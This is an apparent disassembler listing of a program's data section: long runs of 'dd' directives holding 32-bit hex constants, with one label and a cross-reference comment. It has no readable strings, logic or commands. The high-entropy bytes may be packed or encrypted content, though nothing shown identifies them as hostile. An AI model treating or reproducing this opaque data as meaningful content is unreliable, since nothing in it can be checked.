0D7D8BF49h dd 688B3249h, 60B34181h, 0D801EEFh, 22301E3Ch, 4BE79334h dd 9F765893h, 40BBF26h, 86B25F3Dh, 0AD14F302h, 5495354h dd 9344E3E6h, 0E8981AFAh, 97C5FEE5h, 75E1F0Bh, 1D112E26h dd 7210342Fh, 5B81C731h, 0D64FED3Bh, 6B856127h, 7754C232h dd 8F20934Ch, 0EE498D8h, 4C9637E0h, 29E1E5C0h, 18C177BCh dd 1D507BAFh, 309C47Fh, 4AD6DEDEh, 1060BCB5h, 0AB4878A5h dd 11868F04h, 0B914FEA8h, 319E05B7h, 3D850B22h, 4608C710h dd 5F5628D0h, 0E0B5E92Fh, 0EFD30181h, 0DB572EF5h, 4374AD88h dd 874CFDC9h, 50D6DCB5h, 80D682E9h, 0C3C7871Ch, 3E20BE56h dd 281798Bh, 0D24980E6h, 8743D120h, 9C7F93A2h, 5B05B087h dd 448952EEh, 12AF2063h, 0AFB512BAh, 1A090513h, 5A32F4B1h dd 0D26494DFh, 0B898BFCEh, 49E92754h, 0E97B29E2h, 0AF547425h dd 5C26D96Dh, 4E966841h, 0B76C322Eh, 92B6F348h, 7AC1801Ch dd 0F57EF11Dh, 0CDF9CCBDh, 0FF13751Eh, 6717CCE3h, 0E382A8EDh dd 26958429h, 862A77B1h, 0DE1CE815h, 31925E6Fh, 1B02C0BFh dd 9E0D95C9h, 4843A3E9h, 0F7BDA07Bh, 80D1D225h, 6E54168Ch dd 1E20B83Eh, 44206BFEh, 0BD8A75E9h, 0CD2D1794h, 5660FAC9h dd 837D82D7h, 996DC7D3h, 63F5ADF7h, 8D41846Ah, 2A1BE9C0h dd 0EA1913h, 0C054C4B5h, 0CDED04E4h, 0EDECE4CDh, 4C62687Dh dd 0F9975F31h, 0FA253C8Dh dd 0AC689700h, 4C25464Dh, 81D5DC5Fh, 0B3AFE158h, 90423D89h dd 0ACD04CAh, 0F1C228A4h, 85FA5FE1h, 0C0568E9Fh, 420886C1h dd 0BF570478h, 0A8F507DCh, 156D0630h, 26265D9h, 0FCF4F01Eh dd 6EF9F929h, 8401C743h, 3192EE53h, 67224157h, 0C329DD51h dd 267E627Bh, 55276A5Ch, 515BAE96h, 0A26552AAh, 0E3207AC0h dd 9EF095CBh, 7F68E90h, 469F017Dh, 15D7813Fh, 8E3177EEh dd 2EDF258Dh, 3D5D16B0h, 21ADC531h, 0EB8027C0h, 2256678h dd 0F6DE3A2Ah, 1C870984h, 376ECCF6h, 4D361D8h, 291B8C2Ah dd 422DD9D5h, 0C5D72CD5h, 0CFDA0847h, 0BDE95F12h, 0D31C2E06h dd 0D70B0C30h, 0C5063315h, 0CF291F6Fh, 0C4F35BE9h, 0CA2CBFB4h dd 8AC75BF7h, 0E2A9600Dh, 0B865BF7Ah, 815A0246h, 0A420B9CEh dd 7E14A5C1h, 8529CC17h, 50CA2F21h, 630E3CC2h, 2C80548h dd 37C7E986h, 2ECE0779h, 0B22DCF7Ah, 0D0C68B94h, 6FEA6813h dd 208A0C37h, 0CCAF8892h, 0EF6420FDh, 8382E12Bh, 97A90FE3h dd 80BB7683h, 0C59CB1CBh, 8711FAA9h, 38AC58BDh, 3DAB5A39h dd 0E90C8552h, 70E78AF0h, 89EEA95Fh, 0CBC7565Dh, 0AF20E6F0h dd 5C54A0B0h, 0F05F81C2h, 0D492A6D6h, 0D965E32Fh, 0E2364222h dd 2C00DB5Ah, 0D7FB046h, 74C538Ah, 0A70E923h, 675D0B01h dd 0E3BB0077h, 316CFB2Ch, 0CB98DF5Fh, 29E62768h, 0E4526091h dd 571F6981h, 3DCA5A79h, 0B8810F05h, 482C5918h, 283BC8EFh dd 0A8509564h, 13418C0Eh, 47CAA109h, 0D261650Ah, 7502172Fh dd 3BBFFDA4h, 0E2282A68h, 0DBF96F25h, 3A132C06h, 0DE303CC1h dd 8A40DDD6h, 0C4770205h, 0A9575043h, 0F8764C3Fh, 94C77A81h dd 107470CCh, 5D45B896h, 4D17B7A9h, 824C3791h, 115B311Fh dd 11095C93h, 0A6511Ch, 7F6A5BB9h, 0C85B3147h, 184E2AA0h dd 0C2BB171h, 9720332Fh, 4C13021Ch, 0A0E9536Ah, 40BF4678h dd 9FCDF962h, 9C9EA7Ch, 9CC07881h, 2BF6EB44h, 0E69976A7h dd 5E0947D6h, 0DE7C2968h, 0FBDE7A04h, 3316E401h, 7FD0BB07h dd 313D16FAh, 2F7540EBh, 1376936h, 0BE9DA09h, 0EE87F2ADh dd 53F4044h, 33B18412h, 11DE4704h, 0A0D6E6E3h, 6C17A7CCh dd 9B010FC0h, 6EF34089h, 0DCDFF22Bh, 327E6505h, 3CAD2980h dd 35155817h, 0E206F707h, 72D94750h, 8DC8B239h, 3130E6Fh dd 21EB2961h, 14FAB98Dh, 0B13A14CDh, 69313BD3h, 414AE0D3h dd 0E903FF30h, 0BD9C629Ah, 0B86BDA82h, 7B6D5754h, 2FD53E08h dd 38EAF2DEh, 863C0B13h, 24B3168h, 8BEC0B41h, 0DD665015h dd 380C7930h, 35627E01h, 4AF2CDCh, 55CE286Fh, 212D6801h dd 32E94A36h, 0FB53163Fh, 0D20DBE36h, 1BFC0887h, 5EE28100h dd 0C930AE54h, 0B198C838h, 0C7CBC121h, 0A0C05F58h, 80F065BBh dd 0F3817E00h, 379359C0h, 6E6227E9h, 0AF8B23F3h, 5AFEDECFh dd 29963679h, 59989F06h, 69E3078Fh, 604B7F4Fh, 992742CBh dd 626C126Fh, 701AF967h, 9EFA14Ch, 88684F85h, 0EDD8BA6Ch dd 0D9A29F1Dh, 945F07A3h, 0B5BA760Bh, 0E9509310h, 0D609B65Eh dd 2DBB6559h, 6885756Fh, 63E8092Eh, 0C7E2ABC9h, 485F7F80h dd 2A983359h, 68999560h, 4EBC4C94h, 5EA5F060h, 761B072Eh dd 0A5678A1Fh, 0B7ACD26Dh, 1F2D761Eh, 49ACFDD1h, 0F9F107A0h dd 0CA31E287h, 0C2FA9041h, 640379DDh, 2F08F11Dh, 0F25730F0h dd 635061A5h, 0D05AD021h, 8B61482Dh, 16FAC358h, 20D701F5h dd 0E912EB10h, 72EEFC17h, 0CA7952DDh, 41CA898Bh, 0B33ADF23h dd 104D79C3h, 20F94B4Dh, 0B569F479h, 295ACF38h, 3020F27Eh dd 6FD8B5B5h, 52230D09h, 0CCA263B1h, 868491ABh, 95E18933h dd 0ADDA6B6Bh, 0E4E89EC5h, 78308003h, 1CB60114h, 55500880h dd 7C52BD05h, 7EEC616Bh, 27F60D01h, 82570EA1h, 323C441Eh dd 23EC4146h, 3043896Ah, 0AB40BE42h, 25DC0BB9h, 0CD84D9Ah dd 89B89D30h, 27203AEDh, 82FF1D1Ah, 0D2061430h, 0FC54208Fh dd 0E780554Eh, 0F83B4B76h, 0AB7B54C8h, 0C0A607B2h, 378008E2h dd 0C2F23023h, 0EAF0CAFEh, 0EDE97812h, 0E3BC8413h, 29B03FCFh dd 0BA13BB54h, 0CB90EC8h, 5D14CD35h, 3B0280DEh, 0F4E96419h dd 806FEEAAh, 0B6620E9h, 8DE92177h, 0C78044A1h, 0D459ED04h dd 0C6FA86EFh, 0DAF771C5h, 7681A80h, 0DA0550B7h, 4A1E187Bh dd 0F85A0C73h, 58B5F67Dh, 315E9583h, 1F45A769h, 0E969FB00h dd 9782B507h, 35C1CF09h, 0DB639427h, 45CB0795h, 8DE0551h dd 0CE2D038Dh, 0BBA419BDh, 80AAB553h, 0C7210A56h, 8D05450Fh dd 0A0782E27h, 3F483990h, 2DF02801h, 0A2E93507h, 226D0077h dd 55B05FC0h, 87406998h, 60140BB8h, 0EDFA174Fh, 7F69E591h dd 19087F3Ah, 0ED341FF8h, 6BF3E000h, 3E66C028h, 483BB85Eh dd 925B57D7h, 0D1725AF7h, 4E861038h, 0E9E038FFh, 4E1EA74Bh dd 0CFFEEBD3h, 86F25E40h, 25C9C610h, 0EBA35BADh, 0C18BD1FEh dd 0AA8DC9FDh, 0FBEC983Ah, 2E416E4Fh, 650C44A0h, 0BAF5A330h dd 8A53B706h, 79015513h, 437020D0h, 0ED9ADF30h, 5C69B007h dd 0B09D047Bh, 78E38Ch, 577D226Dh, 0CB3854BFh, 0F709707Ch dd 58F24DBBh, 53DD04EBh, 0BF096929h, 0E00CFC21h, 1D66B624h dd 7187DBFh, 8C03EFC1h, 790B5D34h, 0F91931E9h, 4020936Dh dd 0B6BA5270h, 5B7E2C2Fh, 4F5AD718h, 2D13EDCAh, 0AAE3A5DFh dd 29611A9Eh, 0C409E90Ch, 0C248F163h, 55376E1h, 0ADDA40Eh dd 0E94177F8h, 21839D63h, 0D9F6FAE1h, 0F85E0A2Dh, 0B62C0BD5h dd 8E5F2B04h, 0E4E98561h, 0E168AD90h, 97E4A62Dh, 0DF69B47Eh dd 38849092h, 57E0121Ah, 4C3C7FA2h, 75184E4Dh, 0E2C14CF7h dd 0AC20AF90h, 0BBDFC02h, 0AB92D0C9h, 0AB58D304h, 647A6940h dd 0DF0142F7h, 0C441411h, 0B18CE985h, 5E502276h, 9BA7EFBDh dd 0C1FE5D29h, 0FF506A72h, 0BE93F2A2h, 1C92C156h, 86B1D2E8h dd 7D290231h, 0AF38A91Ch, 0A99A4823h, 0BEC7DA5h, 0CA24D695h dd 0E9F360FDh, 0E0A9C1CEh, 0FD88C8F7h, 275331DFh, 9FEE98D0h dd 0FBBD16E4h, 0A641FF21h, 65BA4A73h, 29C3802Fh, 0E59E9C7h dd 0E0C00368h, 75C8FE04h, 30B47E04h, 0EAC16045h, 0F53DF3A8h dd 2437934Dh, 0B7883AB9h, 0AF0B9D28h, 751B845Ah, 41006096h dd 0F726682Ch, 954840D8h, 0E9178CFAh, 4AB3353Ah, 0EF7ED2DFh dd 1FC53AD0h, 81643D4Bh, 4666F804h, 46B0EB3Fh, 505D1606h dd 2056F86Fh, 0FC294F61h, 2CAAB588h, 0AB3EEA6Ch, 0E9458433h dd 5291C768h, 92E002E3h, 6075822Dh, 0C9C0E76Ch, 0B000FB06h dd 0AA43E934h, 0D4ED47C0h, 984B2303h, 8A564F5Ah, 7FCE2DB3h dd 7E3194A7h, 8108F14Ch, 3B27F671h, 0E3B161C3h, 0BD7F0870h dd 1B25E370h, 20257A2Ah, 0C09D7AC0h, 2E334D51h, 104D1447h dd 86C75A8h, 12D2D6C1h, 64E419h, 13FCC201h, 0CDC0A6Fh dd 51E37FC6h, 41B20B26h, 0B5E2C82h, 1CD008A0h, 25024C14h dd 13E94825h, 6F51951Eh, 2532A43h, 0A666C617h, 0F765E609h dd 295E5B83h, 654810D9h, 8FEF409Bh, 20D1411Eh, 76887DCBh dd 0F1999368h, 39E93BEFh, 83C501E1h, 97785B46h, 0AE9A003Ch dd 2938FAFCh, 0E6B45EF5h, 654B0CC9h, 31803468h, 3E5EAFC3h dd 0DA621493h, 0FDB18556h, 532671E7h, 0E91813E7h, 69720963h dd 6E8C037Ah, 4A162809h, 0C1C09A9h, 6F7E50C1h, 5077F28h dd 3E2154CEh, 5574C07Eh, 24E93013h, 9737D6D5h, 0C3C608D2h dd 545C183Eh, 203BE18h, 68335F6Dh, 0C8662FADh, 5970BF00h dd 7CE91DA2h, 266292D9h dd 28B703EAh, 508F3865h, 0BD28BE4Bh, 0FCD24E0Eh, 73139E5Ch dd 6A5373C2h, 0BBAF57E2h, 0FDD039A9h, 16AC5F64h, 0BE92ECADh dd 0F23BFC29h, 0BBE90A91h, 5B131EC5h, 40479D82h, 3E03C164h dd 11CF6BDh, 3057AD16h, 0A1D82925h, 846FE8C2h, 2CE6E38Ch dd 0AF02A457h, 7717283Fh, 7B11B710h, 0FAD16150h, 61F5334Eh dd 4062E27Ah, 0D35BDA89h, 96C5CE40h, 4A60181Eh, 661F101h dd 320F6008h, 801A5865h, 0A94FE5E2h, 0F2EEA84Dh, 0DE835F7h dd 5E590436h, 0EEC102A2h, 0AAE25707h, 12849C0h, 80D2CA9Dh dd 969F414Fh, 51E9347Ah, 0B8C4C2A1h, 0EEC56DE1h, 0C98B1556h dd 8F94F7EAh, 84A57C58h, 53C606E0h, 313DB682h, 661559F4h dd 37B94076h, 32E199CDh, 16A1FC6Eh, 3964DD31h, 0AEC974BFh dd 0BC3E6D3Dh, 6A3D191Ah, 207FF149h, 36D60578h, 624C9F27h dd 0E9070218h, 0A8E6D794h, 88A845BFh, 0B31FBB09h, 42B6A7BBh dd 0F6C300DEh, 98230B1Bh, 0A963094Dh, 8975CDA1h, 125DCF0h dd 0BFE9CB21h, 9F2D3C6Ch, 30FFF844h, 69DD4B80h, 483543D1h dd 9C1E16AAh, 49EF3B65h, 0E2A9C4F7h, 21F19F07h, 6A9B20BCh dd 0F625FCBCh, 51BFE858h, 0C409CB74h, 0A20EEFFh, 5455D687h dd 7FF810D0h, 53BAF300h, 4B436FFBh, 68D316F7h, 0E9A18C56h dd 4DFD0530h, 3B10F6E5h, 0F5007419h, 16666BE2h, 3EF715E9h dd 1CFBA24Fh, 2CFF4E38h, 0C34EF81Fh, 0C392D0BDh, 93DED478h dd 1ECDC907h, 91B26240h, 8B31D102h, 6FC4ADC2h, 3CE3A55h dd 0B81FEE91h, 0A9131A74h, 7EBAE140h, 9736F80Dh, 0E9E298D6h dd 0BB947C93h, 8D077005h, 0DBDCC02Ah, 3049FC46h, 18518943h dd 82B3AD65h, 636A0981h, 4D5D6B8h, 0E9AC5F62h, 1D685CA0h dd 0E9199F9Ah, 0C3C16E56h, 7A2DDDh, 59EA88ABh, 5414C280h dd 3CEDB151h, 709DF0CBh, 0CB5AF0BEh, 0BBF66608h, 0BD5233B9h dd 0B816C8C5h, 0EFDA9079h, 817C6943h, 0FDED13B4h, 0DF548B24h dd 5CED9BD3h, 7705AD80h, 29E54378h, 0DEF0A25Ch, 0EB942DB2h dd 27B859B7h, 2DA4F490h, 261F9697h, 80EB1DE9h, 5159E480h dd 88E4B652h, 135CF14Ch, 75F0C4C3h, 2EB2A1C1h, 0E1932222h dd 0D3836C1Bh, 0D6B7CAEFh, 47077F4h, 0B9E941CDh, 1695F990h dd 8CAFEA8Dh, 0C55C415Fh, 0F8998534h, 6C1AB6A3h, 0DBDD2FF5h dd 88C66B3Dh, 0FC7E90Bh, 0EC655701h, 591DE489h, 9D65BA5Bh dd 9F39A259h, 1F6E53CCh, 78A8A258h, 0B95E4E9Fh, 460128B6h dd 344FC904h, 90AA0E7Dh, 560CE93Ch, 767FD932h, 0F90504BDh dd 9CEE6266h, 0B42330FEh, 2DC8F6A8h, 5628C0Eh, 7037A01Bh dd 2CE97212h, 0A814D710h, 0B14E4E0Eh, 0E9166FDFh, 48D9D309h dd 902CB05h, 315B0F51h, 30069C75h, 51C00EFFh, 19135C68h dd 740466D5h, 85B4B7C8h, 140E13A0h, 0CBB5A06Dh, 0D3F460Bh dd 1965402Eh, 1D6A2868h, 636001C5h, 0A6E94DFFh, 0A703BDEh dd 1333F681h, 45DFC2Dh, 8151FF98h, 81E81207h, 53D4C2B3h dd 0BE806ED0h, 0D9C0A1ACh, 89BCD129h, 684AFF52h, 45DE7B40h dd 57FE145Bh, 0BB02EA00h, 59087868h, 9D8A895Ch, 9A1752C4h dd 9D06210Ch, 61939B3h, 653E52EBh, 2A0A82B7h, 0AB754D50h dd 0B34B201Bh, 9C84C15Dh, 2D35EA05h, 49599304h, 166F41EFh dd 2073CE2Eh, 0EAABE361h, 0A85AAF5h, 0EA920EF9h, 35E92921h dd 80E0ADEh, 2D018F5Ch, 516C1E27h, 68128F36h, 0DEC8B858h dd 7669A73Dh, 0B2055ADAh, 57CCBEFBh, 0E2AE4A90h, 0CD257854h dd 1A27CAE8h, 0C25578Ch, 2456FABBh, 5B14C7ADh, 0CB10DE59h dd 48FF6BC6h, 80B2A316h, 3070AD68h, 50FB7695h, 85B7D1E9h dd 5EC14F8Fh, 8389918Dh, 0B37C0DEEh, 6884F026h, 0DB85C27h dd 165A6FC1h, 0D9D24017h, 5F095818h, 8B834A42h, 28BF002Ch dd 0B0139035h, 6EDC0417h, 1631A872h, 4542B6ACh, 0BF49825Fh dd 0B85DA6A0h, 0CF258BFAh, 788D85Bh, 7B556B0Dh, 6174507Dh dd 0BCB84C62h, 8A2A4A3Dh, 4F022368h, 0AE8ADA40h, 710161DDh dd 7A5658C6h, 3702DFC7h, 75AD853Dh, 0EFF3FFD3h, 172F5109h dd 7B7FE14Fh, 447DAECCh, 3544F50Ah, 9C04B53Ch, 9C93BE5Fh dd 924290E2h, 7F8CA168h, 0E9202882h, 596848C9h, 38139ABDh dd 0FAB5FA4h, 0A7EA57FEh, 15C8AC3h, 0AEF9538Dh, 309C2AA2h dd 0B7E2F8EBh, 3413D074h, 0CBD31DE2h, 0D4401052h, 0CE1DB148h dd 1242D26Ah, 608FC996h, 0A577FBB9h, 66E99917h, 86BC5A53h dd 41724505h, 0B490EB3Fh, 609D51B2h, 79286474h, 87BC966Bh dd 0BC1B88h, 6451AF0Dh, 2501485Eh, 2E14530Bh, 0F06C61E9h dd 5F785827h, 0D9CF0727h, 0B35F93B8h, 202850FDh, 3679A6F0h dd 0E901C009h, 1266D821h, 535DEE31h, 8668F3ECh, 4B1584BCh dd 2548A9FDh, 4D46F0D8h, 53899054h, 0EC4188A5h, 61AC5EB0h dd 0F3C6D13h, 0A5BFFF19h, 820EE7C2h, 0A245DD47h, 0EFAF8B85h dd 0FCFA83E4h, 820BD64Fh, 0C940544Fh, 4D60F15Ah, 0BDF78199h dd 0D267503Eh, 3F224CD1h, 13ED1185h, 2EC1F1C0h, 418850D8h dd 0BE013049h, 0B2B8F812h, 0C2623DECh, 205145F5h, 766F258Bh dd 205B79A2h, 0C74B6563h, 8B3754D2h, 0C90B60C5h, 4BEEB1C8h dd 3D604E77h, 95FCCA3Bh, 0AC44E273h, 0EC5AF2FCh, 60AB5BFEh dd 6AB7E964h, 8568D1C1h, 0D9E3651Eh, 5F33661Ch, 9FDCB13Ch dd 8F653525h, 802B700h, 3A805BFEh, 0CE8E36C6h, 0C6FCD6F6h dd 3CF130A0h, 17E3D549h, 0E8C1329h, 893E5FFAh, 2F3FE1D6h dd 0EBE0904Fh, 4FD2AF48h, 89B4CBD0h, 0E97A766Ch, 1EE006C0h dd 0F09746E4h, 2CED8084h, 77713306h, 7FB08B0Ch, 0C1E6E96Bh dd 5EF053C4h, 0F3D89FA2h, 0EE4A94E9h, 0E040CB9Dh, 4EB30A60h dd 72C1A08h, 9FBC660h, 0DA3D712Fh, 2FF67895h, 175C0CCBh dd 4F62225h, 4FE85C03h, 89233404h, 731EE427h, 29D03BF3h dd 60F56677h, 7B600C29h, 0E912A197h, 3AB28B14h, 0DB04F348h dd 0FE03B354h, 0FC61714h, 0B693ADA6h, 0EC4C6A4Eh, 2220C18h dd 0E90FE306h, 3AD20809h, 0B7D10420h, 0A4CF9376h, 60EFDD44h dd 52EF81B9h, 5FD41D12h, 85CAFFA1h, 0B0F55808h, 0AEA2566Bh dd 0E909712Bh, 0CFD28097h, 2BCB559h, 9825ECB9h, 7BC8F709h dd 0E8BFF276h, 0B7895D70h, 21565CE9h, 0B85FFA14h, 0BD1D8A6Dh dd 0C9FE2ABAh, 9D1CF227h, 0E961377Bh, 13842ECFh, 84B551E7h dd 40D885D6h, 0BF4A0564h, 3C4A8B33h, 1C18E0B2h, 0F801CBE6h dd 76540505h, 0CBB227E4h, 0B80BE985h, 5EAD4EEBh, 12FFA4C4h dd 22827524h dword_4F0044 dd 0DFB10251h, 0BBECE163h, 3841148Ch, 4EF8239Bh, 81EE3DDh ; DATA XREF: ___:00437A2Co dd 12189FE9h, 0FF14EE5Bh, 5C1F7E16h, 2ECB42DCh, 62655CA9h dd 8D4AF9B3h, 315EB075h, 895B24D9h, 0E8253F0Eh, 156CE0D1h dd 0E0B924E9h, 82B86925h, 0BF80D6CAh, 49711384h, 1EE0B0Dh dd 78203278h, 412D3F7Eh, 0A25C6194h, 4005E80Bh, 0E9652781h dd 5A0A28F4h, 1D254ABDh, 13BC3251h, 479079C2h, 5F497783h dd 4CC7E855h, 0ABD2313Ch, 0CB2F5831h, 81EA3D02h, 0E97DEE09h dd 0E22BDB05h, 2ACD4805h, 0D2B0FDA0h, 482570EAh, 20755019h dd 0E09F165Bh, 4B4612F3h, 0B8D88038h, 0F5012031h, 0A9F0560h dd 65305D47h, 0FD07A22Dh, 0C3F4C78Bh, 6217E98Bh, 17795F19h dd 432D551h, 2678E34Ch, 6BD96D0Ch, 0EFC60477h, 0D1A064C2h dd 2087A08Dh, 5F4BC511h, 8B7FF8A1h, 2F71D439h, 75A9C65Eh dd 295159B1h, 0AEDB91C4h, 6FC2D640h, 0F848CB4Fh, 214B4F38h dd 6FA068F3h, 0ABE1ACCh, 42F46AD6h, 20C107B2h, 207DBB65h dd 0BB235A94h, 2772B866h, 0D5F11136h, 9041FE42h, 33030E96h dd 7F0C164Eh, 851BE789h, 5873B18Ch, 5AD62381h, 0E72616Eh dd 0EF418B13h, 0D1A7F402h, 6F056B77h, 0BC09EBC1h, 3908F879h dd 2D0EAD66h, 5C13EC0h, 0EC550F36h, 307F5ABDh, 36F5B90h dd 0D11EFF09h, 508BE90Bh, 2F739D51h, 0D017FC49h, 0C7AA90E9h dd 0F3C249D5h, 41DE4EE2h, 0A7A16BD8h, 0F5048D7Dh, 0AF76B46Eh dd 8047BE1h, 6D54C0FBh, 0E93D3A87h, 16A8DBE3h, 0BA534DDEh dd 0EE289CFAh, 6F8CCE4Fh, 412057BEh, 0B88F45CFh, 80B02020h dd 0B8505B01h, 4AAC1B3Bh, 0C18C046Ah, 2680E53h, 5576744Fh dd 0AC9349C5h, 7688BAC5h, 0EB80005Ch, 50C328EAh, 0E91C4AB4h dd 0D527B116h, 71556A31h, 61AD2C39h, 6E536D7Eh, 6234EC20h dd 480416DAh, 0F10CB3D7h, 4F261229h, 0A34CAB12h, 0CC712EE9h dd 0BD09D725h, 4200CAF0h, 60D156Dh, 657463h, 7D09B22Dh dd 20D66826h, 62026F93h, 0C17ADD38h, 396A69B8h, 2E20F8FDh dd 5CE53D91h, 8E48E4BEh, 0B529B940h, 35984B78h, 885CB06Eh dd 0F0EE83C3h, 0C3F287Dh, 685D8BC6h, 0D128553Ah, 201C3408h dd 13CA514h, 0EE5B1E2Fh, 2520B908h, 0EE0C1A69h, 0F7F85004h dd 0C9BC1FA4h, 705C929h, 0BDF940C4h, 2D5FB647h, 2EA5895Fh dd 94A99DDFh, 0F0A6E912h, 253FBE16h, 0BE2BBF0Eh, 3E1317F0h dd 0E2E752A8h, 67948B7h, 0E77E4C80h, 2E4E5E4Ah, 3D0EEC1h dd 0E215E6F6h, 1B049AF6h, 314DC988h, 1C261BEh, 81AC3EF3h dd 7EF8F9B1h, 0D15B5733h, 0CF33128Ch, 95949AD4h, 2F6B710Eh dd 410B9E1h, 0F9B04236h, 3F6476E0h, 0B01699ACh, 54FAB10Bh dd 920472A9h, 91AD9E9h, 1578065Ch, 0C4C60473h, 0A1749830h dd 0D89C7F65h, 665F3868h, 6862EA5Ah, 0CA6A020Ch, 0FCEEAB57h dd 3877A7B1h, 97DF1EE7h, 96B9FAD9h, 740053E0h, 22777DC6h dd 7C91D81h, 0E971853Ah, 2F2BAC7Fh, 52FCD454h, 0B4BF48F5h dd 8D7BC633h, 0D632692Bh, 0FE5D0AA3h, 0F34B44A8h, 9868057Ch dd 48878E63h, 0CA7CFBE2h, 29764CB9h, 93734759h, 0BAD5407Eh dd 1F3852F0h, 570CE2BDh, 0E9E6F1E4h, 0BDED3254h, 0A7D41E1h dd 106C7693h, 0C10D9A67h, 2A0705EDh, 0E59228E9h, 28E82AFCh dd 0DCEEF517h, 0B8005F88h, 0BB8BC7E2h, 16B2105h, 0E62D6798h dd 707D0837h, 1B5FE979h, 578B330Bh, 0B42F6BC4h, 629776DCh dd 83C5D2F5h, 7BBB5B9Bh, 4F2FCE4h, 34DC7F39h, 16D38B52h dd 16AB595Ah, 10A7E888h, 5E253581h, 3159795Ch, 668D8FE9h dd 0C08CB74Eh, 285F5AD3h, 167B1B1Dh, 0DDA8B551h, 0B3064B33h dd 0D71EDDFFh, 0BEB9067Bh, 0E9E90169h, 0F82FD202h, 1D1FE5B4h dd 0CEF8C8DFh, 21A2D7ADh, 2E5A86E1h, 28FE02C4h, 9467CFCFh dd 8574D1FDh, 0E7E14BBAh, 53EB89DDh, 0A90516C2h, 37E918B3h dd 0B82D9Dh, 5B5FD409h, 29BC7E05h, 5EA1E25Ah, 57879900h dd 0FD3C5BE8h, 6008412Eh, 5E97C55Ah, 0FA770B9h, 681DAABAh dd 22276F77h, 97D858Fh, 16642400h, 8103388Ch, 0AF507ACFh dd 63E7B04Ah, 96DF87Dh, 0EFD1D7F7h, 0EFC5AF7Fh, 1F4E553h dd 2BCCBEEh, 0A2E9C589h, 794674A4h, 3ECE2E54h, 0DF9A69h dd 0D4E95089h, 0FE6E9D65h, 480565Ah, 0B8C34354h, 446C5F92h dd 0FE59EBB6h, 12D8D70Eh, 0D7A72AFCh, 7F2CDDBBh, 70F27EA0h dd 0B8FBBD6Eh, 0FFCE8180h, 172B3F56h, 0B121E953h, 35EC3AC6h dd 9BB53A1h, 0ED94E268h, 4AB14C8Eh, 9A31A4C7h, 0C2FE12Dh dd 0E61D83CCh, 5F81084Fh, 20288A38h, 0DC1FE90Bh, 3B1A7Dh dd 1A6CC7D3h, 0F929094Ch, 0DEAAEEE9h, 170D05F1h, 0C4C6C708h dd 0A25294D5h, 82079AA2h, 5E79E278h, 0FE246F29h, 0CA88BE55h dd 5FF4B55Ch, 5A0FFCC9h, 0A5BFEB45h, 7C886EBFh, 0EEBD27D5h dd 0CB69A55Ch, 520C4E16h, 1064CB22h, 213B32F3h, 0B8142D77h dd 0B07AA32Bh, 539342C1h, 0D020ACDEh, 0D277824Dh, 35480088h dd 21F055BBh, 0C9C2C309h, 7205E9h, 4F68F9B4h, 8E091759h dd 2D7275FAh, 48027752h, 0F25459CEh, 4BCA3B3Ch, 0BE5AEFB7h dd 6858E770h, 9C3C5E5Ah, 0F0450E89h, 0F2A5823Bh, 99CA8C60h dd 4B6C5A00h, 6FAEBE56h, 4920E361h, 846E17DFh, 64B00110h dd 6B25E714h, 9D74BC04h, 4E1050F7h, 30812CF6h, 78FD5904h dd 90291CE0h, 0F2DC202Fh, 32C36815h, 0F0B90275h, 6251A965h dd 0A23A8263h, 8105E016h, 0B290B7C7h, 61DE6C73h, 30F2CDCh dd 0F5AC6E4Fh, 0A8CE30FAh, 9FA71C6Fh, 0BC372402h, 5A979E7Dh dd 5E20B89Fh, 0C8D362ABh, 0B90478D8h, 0E08A72FEh, 0CF6393BFh dd 2D593EF9h, 0E957E06Fh, 66C29230h, 5301F8F7h, 50685512h dd 0BBF99584h, 0AD00DEDBh, 0D627A22Dh, 1FC3357Eh, 0DD2FC452h dd 28E6259Ah, 0C9052B31h, 0F633B3F1h, 0E148317Dh, 0C9D0310Eh dd 0BF08BDC2h, 8F445A3Ch, 0C4107490h, 0D04CB85Bh, 453301FFh dd 0F0E93F59h, 5F878964h, 1C539C0Ch, 0EA8C182h, 0C3BA4083h dd 0C0E43023h, 9B223438h, 2F923650h, 1B5E5478h, 7C121CBFh dd 0BC4230CBh, 2658FA0Eh, 66934466h, 30F5DDA0h, 96C34797h dd 58E85Ah, 3C6D0B91h, 0D26A6856h, 0C20713D5h, 6AC25312h dd 8A80537Dh, 0BF9958E9h, 402EF1DEh, 8D421475h, 0E6072576h dd 0C527B48h, 0CA77C6C7h, 419157D9h, 0B8842E97h, 3175B2AEh dd 0E7895130h, 8B25D52Ch, 5316A323h, 4884819Dh, 0C09F2C72h dd 4D1204E8h, 0C1F60481h, 0FB1ADC3Dh, 0CE647F4h, 5338084Ah dd 0FC0CEE11h, 566952C0h, 54171472h, 8A2AFF32h, 5A820BC1h dd 445837A7h, 90B85000h, 83766722h, 0FEFF4BE8h, 0DDEB7132h dd 0E9DE3129h, 0D7CEC209h, 0C8CC7744h, 0B5292F13h, 860C8950h dd 0C22EC50h, 347206BCh, 836BE937h, 1B2EC980h, 0D32B6F2Eh dd 0E50D2A1Bh, 6D42DF41h, 0D86A18F5h, 3EBE9E15h, 45F65913h dd 2B1E7414h, 9A0EFB07h, 5896B230h, 121621D5h, 0E4E9C831h dd 0B71417DFh, 3D9ABC2Eh, 3ACDD60h, 0D60D43CBh, 0B41CD951h dd 0CB4CFE73h, 0C1EFD04Bh, 3A2846C5h, 0DE318C21h, 0CB017E0Ch dd 8018171h, 32EFCE9h, 0FD8858D6h, 4BD7F793h, 42F9ED8h dd 0E9C37046h, 0B07CEC3Eh, 0B910C668h, 0E1B70085h, 412C780h dd 10B80B5Ah, 0E98BB53Ah, 91FC0E20h, 5C151269h, 0ABD5CE67h dd 1646D404h, 0FC11C42Eh, 61AB4BF7h, 2B111778h, 126A0D99h dd 0A2D30120h, 0D468CA2Eh, 0DCCFECC1h, 3C98E49h, 0B04FB15Eh dd 2E3732E1h, 11F93687h dd 0CF2438B2h, 0CB9FC2ADh, 0FB14DC44h, 894A10F6h, 2659CEA4h dd 12EC57h, 4B1DA5F6h, 74BE9DAh, 16AACA12h, 89F61E10h dd 0B6E47E2Dh, 912F810Ah, 0D113B779h, 4723D8D5h, 0F15FDB01h dd 0B82BFEA9h, 0C7BDC598h, 2E6439EBh, 0BCD2AFF2h, 2CBA5A85h dd 0F567EC6Eh, 5CBBF24Bh, 0FE011361h, 0A2778E92h, 62B42C9Fh dd 41E60960h, 0B864E301h, 575F24FBh, 1EDE3CABh, 0EF890B77h dd 0D4C64405h, 5FC7EE37h, 0C0529EF2h, 595E6804h, 849E943Ch dd 0B007C00Dh, 0FA6801FBh, 0D240BA8h, 9D694D02h, 0EFA8553Ah dd 2142708h, 0D5693596h, 462F17E6h, 